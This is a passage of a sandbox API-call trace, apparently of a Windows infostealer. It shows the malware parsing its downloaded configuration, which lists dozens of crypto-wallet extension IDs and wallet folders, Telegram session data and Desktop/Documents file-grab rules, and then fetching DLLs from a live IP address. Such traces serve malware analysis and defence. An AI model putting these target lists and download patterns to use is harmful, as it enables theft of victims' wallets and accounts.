Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0258.507] lstrlenW (lpString="msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5199 [0258.507] LocalAlloc (uFlags=0x40, uBytes=0x291e) returned 0x6c1130 [0258.507] StrCpyW (in: psz1=0x6bbfd0, psz2="msvcp140" | out: psz1="msvcp140") returned="msvcp140" [0258.507] LocalFree (hMem=0x6c1130) returned 0x0 [0258.507] lstrlenW (lpString="msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5199 [0258.507] LocalAlloc (uFlags=0x40, uBytes=0x291e) returned 0x6c1130 [0258.507] StrCpyW (in: psz1=0x6be880, psz2="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll" | out: psz1="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll") returned="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll" [0258.507] LocalFree (hMem=0x6c1130) returned 0x0 [0258.507] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6cdf00 [0258.507] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned 35 [0258.507] lstrlenW (lpString="") returned 0 [0258.507] LocalAlloc (uFlags=0x40, uBytes=0x146) returned 0x6db988 [0258.508] lstrlenW (lpString="\\") returned 1 [0258.508] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned 35 [0258.508] LocalAlloc (uFlags=0x40, uBytes=0x148) returned 0x6cdf00 [0258.508] lstrlenW (lpString="msvcp140") returned 8 [0258.508] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\") returned 36 [0258.508] LocalAlloc (uFlags=0x40, uBytes=0x158) returned 0x6b5e98 [0258.508] lstrlenW (lpString=".dll") returned 4 [0258.508] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\msvcp140") returned 44 [0258.508] LocalAlloc (uFlags=0x40, uBytes=0x160) returned 0x6cdf00 [0258.508] LocalAlloc (uFlags=0x40, uBytes=0xff78) returned 0x6e6bd0 [0258.510] lstrlenW (lpString="Content-Type: text/plain;") returned 25 [0258.510] lstrlenW (lpString="") returned 0 [0258.510] LocalAlloc (uFlags=0x40, uBytes=0x132) returned 0x6e08b0 [0258.511] lstrlenW (lpString="\r\n") returned 2 [0258.511] lstrlenW (lpString="Content-Type: text/plain;") returned 25 [0258.511] LocalAlloc (uFlags=0x40, uBytes=0x136) returned 0x6db988 [0258.511] lstrlenW (lpString="\r\n\r\n") returned 4 [0258.511] lstrlenW (lpString="Content-Type: text/plain;\r\n") returned 27 [0258.511] LocalAlloc (uFlags=0x40, uBytes=0x13e) returned 0x6e08b0 [0258.511] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6b5e98 [0258.511] StrStrW (lpFirst="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll", lpSrch="://") returned="://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll" [0258.511] lstrlenW (lpString="51.195.166.178") returned 14 [0258.511] InternetOpenW (lpszAgent="record", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0258.511] lstrlenW (lpString="Content-Type: text/plain;\r\n\r\n\r\n") returned 31 [0258.511] InternetOpenUrlW (hInternet=0xcc0010, lpszUrl="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll", lpszHeaders="Content-Type: text/plain;\r\n\r\n\r\n", dwHeadersLength=0x1f, dwFlags=0x84400000, dwContext=0x0) returned 0xcc0018 [0258.569] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\msvcp140.dll" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\msvcp140.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x2b4 [0258.642] StrStrW 